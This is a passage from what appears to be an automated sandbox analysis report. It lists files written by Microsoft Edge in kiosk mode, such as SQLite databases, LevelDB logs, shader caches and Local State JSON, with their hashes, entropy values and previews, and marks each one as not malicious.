Preview:	SQLite format 3......@ ..........................................................................j.......Q......Q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\load_statistics.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, writer version 2, read version 2, file counter 1, database pages 1, cookie 0, schema 0, unknown 0 encoding, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.0905602561507182
Encrypted:	false
SSDEEP:	3:lSWFN3sl+ltlMWll:l9Fys1M
MD5:	A8E75ACC11904CB877E15A0D0DE03941
SHA1:	FBEE05EA246A7F08F7390237EA8B7E49204EF0E0
SHA-256:	D78C40FEBE1BA7EC83660B78E3F6AB7BC45AB822B8F21B03B16B9CB4F3B3A259
SHA-512:	A7B52B0575D451466A47AFFE3DCC0BC7FC9A6F8AB8194DA1F046AADA0EDDCCA76B4326AA9F19732BA50359B51EC72896BB8FA2FC23BAA6847C33AB51218511A4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\load_statistics.db-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.28499812076190567
Encrypted:	false
SSDEEP:	3:7FEG2l/yilFlFll:7+/l/
MD5:	3F6ED43141D5CB96ABEA00EC062DE0C5
SHA1:	F32F33319DA1943E9E01219B91E0C334F5CD3C6D
SHA-256:	469F26F1DCA54900C679E571A2C99C66BB9C0A8805C1491DEA7CD60FDA2CFBB8
SHA-512:	C4FB6E45BC95E539F10EFCDC48032CC2AF191DF02AA53C5551E6B66E076B9B80AF7A286C56C0E4DAF34CB94910D5E7D4B66E800A9694E2AB5AB12295CFEA7018
Malicious:	false
Preview:	.... .c......)<.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.049667644181709464
Encrypted:	false
SSDEEP:	6:GLW0zi/kcUW0zi/kct/CL9X8hslotGLNl0ml/XoQDeX:aziMcaziMct/6GEjVl/XoQ
MD5:	530D338B7A4E46A93AFACF095723B568
SHA1:	BBC39B7CEE8CA1693641A2672A4F7BFECE9059CE
SHA-256:	FD2AF09FFB33CFF543E15231A139F8C2917E5FE83956C8F89040A7FF7144288D
SHA-512:	A1E6E80EF23941EFE13902E5EDBF58B461743061D0D115DE87BE60AEEBA04E24814828C935ADFEA273E4A348588EEFFDF75E7C43236B595E85F39DEB4FA75F5F
Malicious:	false
Preview:	..-.....................0j...........5O.=........-.....................0j...........5O.=..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	70072
Entropy (8bit):	0.9984451238620599
Encrypted:	false
SSDEEP:	48:nzxclO+ycbX+An9VAKAFXX+w2VAKAFXX+43xOqVAKAFXX+vmnUYVAKAFXX+TmZc:zxAMlNscNs2O5NsvBNsCC
MD5:	7C1B7DE1BA3FE09DF4D0ECCD4395581A
SHA1:	D8178E95DFACA6CAF2F63731FA62D597FF0538F5
SHA-256:	7019B6BDAEC54DB511D2435D7EF568ED6E3451EF589468FAD82BBD0D55316F88
SHA-512:	E3D66EDC0253679415E34DD50CBC99BE51B53589F4FEAB45E3ADAD5EC4F5A1AEDA173B4A84E1FDBE56D2E82C7C9BD6634B1C5C15C6FB519F60FBB6F0DAC37553
Malicious:	false
Preview:	7....-...............5O....p................5O.S/.,..&SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	5.509138154967483
Encrypted:	false
SSDEEP:	24:F83SBS87/o/fPwIZiHRH8IIit2YKIt2YK1KcQQNkQCMYKIMYKQyPAlkfAlkGPHQ3:F83SBSGQnPFEHRH8xiIYjIYQzQqkRMYW
MD5:	38A87874D18BE14E0A57DBE1829F7D93
SHA1:	FDED1125101CA649A5CEF71D5D869C4112850CBB
SHA-256:	B22FE16C4A38FDD9B3C312E3E7B8924469366A54C33482158A5F187ABB86AFC8
SHA-512:	E3B55CD0D0AE979B942595B7210D4DECCB5B141C841E8C767E0B14AF3F33B052A8645DCE75BD37FFC73EB78139C2FDC732BF7771BD62226EE72B179A94DAC36B
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1.i..................4_IPH_CompanionSidePanel...IPH_CompanionSidePanel.....$4_IPH_CompanionSidePanelRegionSearch(."IPH_CompanionSidePanelRegionSearch......4_IPH_DownloadToolbarButton...IPH_DownloadToolbarButton.....&4_IPH_FocusHelpBubbleScreenReaderPromo.$IPH_FocusHelpBubbleScreenReaderPromo......4_IPH_GMCCastStartStop...IPH_GMCCastStartStop......4_IPH_HighEfficiencyMode...IPH_HighEfficiencyMode......4_IPH_LiveCaption...IPH_LiveCaption......4_IPH_PasswordsAccountStorage!..IPH_PasswordsAccountStorage....."4_IPH_PasswordsWebAppProfileSwitch&. IPH_PasswordsWebAppProfileSwitch.....-4_IPH_PriceInsightsPageActionIconLabelFeature1.+IPH_PriceInsightsPageActionIconLabelFeature......4_IPH_PriceTrackingChipFeature"..IPH_PriceTrackingChipFeature.....&4_IPH_PriceTrackingEmailConsentFeature.$IPH_PriceTrackingEmailConsentFeature.....-4_IPH_PriceTrackingPageActionIconLabelFeature1.+IPH_PriceTrackingPageActionIconLabelFeature......4_IPH_De

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.276279152295489
Encrypted:	false
SSDEEP:	6:ITRM1wkn23oH+Tcwt0rl2KLldunyq2Pwkn23oH+Tcwt0rK+IFUv:KrfYebeLH8yvYfYeb13FUv
MD5:	A4FA313CD9EBE25D5DA91EF4A3603BA0
SHA1:	4937C9358755DCF9B3181BFB9628D7E06AD21D67
SHA-256:	AE2D6F7AF080D7CFA3A980D9C81B08B81BE8473355DBE1C5924B23EC395B216B
SHA-512:	F5CAFCA19427E834055AB3A1F237C29B6E66298969ACD974CA4A455527BBB5BEED501DC9A9355071CD88089AEBFDF351FC5DCEB5102B5786D146730D2BFF8E28
Malicious:	false
Preview:	2024/08/31-23:09:16.209 1c74 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db since it was missing..2024/08/31-23:09:16.224 1c74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	3.9496800057455608
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/b8gA7QRmSnSedX2Ogp8mvRU0:G0nYUtypD32m3bXESnSotw
MD5:	A618CD56A60FA9D74FA253D3B6D69FBA
SHA1:	C27381BDFBB2E1A4BD11045337271B88E0FE52DC
SHA-256:	214E262F4CC1C997F70AB24BF8A94207F2DC6DAA194E5AEA98174BBBD5ACF393
SHA-512:	BFEF413CFE877436E1308E8A1C8162F7B3563B779A75F0B6F8BBDF47ADFBD3D3BBC933C185CBE92906E1B4BD042A2DCE0C621A604E4DE5D0049E4801CE1745EC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....5oP..................3_.......\4.................4_.....G....................37_.....[Q.\|.................38_.......K..................39_......R...................20_.....m..A.................20_.........................19_......ort.................18_......A@8.................3_......a...................4_......@o..................37_.....n5._.................38_.....LZa..................39_.....D...................9_.....^...................9_.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.24677887117935
Encrypted:	false
SSDEEP:	6:hRM1wkn23oH+Tcwt0rzs52KLl1unyq2Pwkn23oH+Tcwt0rzAdIFUv:HrfYeb99LvunyvYfYebyFUv
MD5:	08F97C75DEA0D8365E536F67AC346422
SHA1:	5910294EF8FE0BB960D2BD938B178629876A9192
SHA-256:	B875D663A320A3A0114D3F296ED219053BF75CBD2D74628FFAED794ECA7C6A7D
SHA-512:	C033BBA43B391DC080CC4A0062D43D9777403B598125CD5A5F09F8412C011143878BB70E466E6E3E670859879BDC6E609F44E3655F6461125ED624CB07E28074
Malicious:	false
Preview:	2024/08/31-23:09:16.196 1c74 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata since it was missing..2024/08/31-23:09:16.206 1c74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlyyLT:Ls3yYT
MD5:	05A127A93A93A68A14AF3BAE943C47C0
SHA1:	23A1835CE08D9182567565D6729E620D31509AA6
SHA-256:	AD3A5CDA4930F02AFB30692F1A4705D6E6F5BE95DD55F7A5CF67451F36B0D156
SHA-512:	E0F1172CB2D0294AB6E1586C64625106612BE68B7940FD5BB5C8CC85075BBB46743DF842A31485ADA561A947572FB9462B69289B267788C941C05C5CF3A18692
Malicious:	false
Preview:	...........................................n../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GraphiteDawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlelt:Ls3eX
MD5:	3B01164902377EE8948F5C78DF538E02
SHA1:	4BC0586C4DC2BFAB5168D71EA1ED6E943AED5712
SHA-256:	72777979017BE2A53C0BB17ADA0E90693AF81BEB5AE6E2247F418CDED6CE95C6
SHA-512:	55079ED70C7248D8CE6B3730380591E6841531E61CE70F030C64A7973635EA888123BC73ED24A7ADA7FBB211D553FDB730B4993726C589EEE2A44A47A75F3D50
Malicious:	false
Preview:	........................................O..n../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.513831201588747
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtV03WMFGCbXuOCdLqP2yikkJdXBuBuwBFaAkENhZmEjXWLQQRZ:YuBqDPafc3F5bXuOsOkXgBzBFfZ3j9B0
MD5:	C69BC30F6858B07FB35F391D0794724C
SHA1:	FA79454782A7BD0383DB3CF298AB6E2963BD1B66
SHA-256:	A91DD37D923F33C9A610A8A0D96A805796046111C6CAE0AC54E97ECA18700FED
SHA-512:	4AB9D667D6B894A0BF426EF31D9DD56A61BDDAE43CDF515283A008FFF4B91E6660CB04DFED1AC7E2EAC2AA36F27B05CB8FCF4214E96FAF7602844D3C2BCA0377
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACTBOgP+Yj8yeYxGPnwwREJE+WzDLFsJadELbhUfOZwhAAAAAAOgAAAAAIAACAAAABpYmQk/FhYVwQoxWklAOCbawUgGiPwnYnBktayJbRMKTAAAADPKnanVLbixm++Ju2yh2KGt3LV05yPzjX9WESAae5GdM5rb3gVI2Q7rgb9KsmoSp9AAAAAEPlqSHqY9tGNkhXkyiqT9acxD/os9iT6yegoE8ltb++5GQLdAH3twmrU23NuKJ7/OtC3/oVc1jbQf2lcGlZs3g=="},"profile":{"info_cache":{},"profile_counts_reported":"13369633755091019","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725160155"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF3b632.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.513831201588747
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtV03WMFGCbXuOCdLqP2yikkJdXBuBuwBFaAkENhZmEjXWLQQRZ:YuBqDPafc3F5bXuOsOkXgBzBFfZ3j9B0
MD5:	C69BC30F6858B07FB35F391D0794724C
SHA1:	FA79454782A7BD0383DB3CF298AB6E2963BD1B66
SHA-256:	A91DD37D923F33C9A610A8A0D96A805796046111C6CAE0AC54E97ECA18700FED
SHA-512:	4AB9D667D6B894A0BF426EF31D9DD56A61BDDAE43CDF515283A008FFF4B91E6660CB04DFED1AC7E2EAC2AA36F27B05CB8FCF4214E96FAF7602844D3C2BCA0377
Malicious:	false
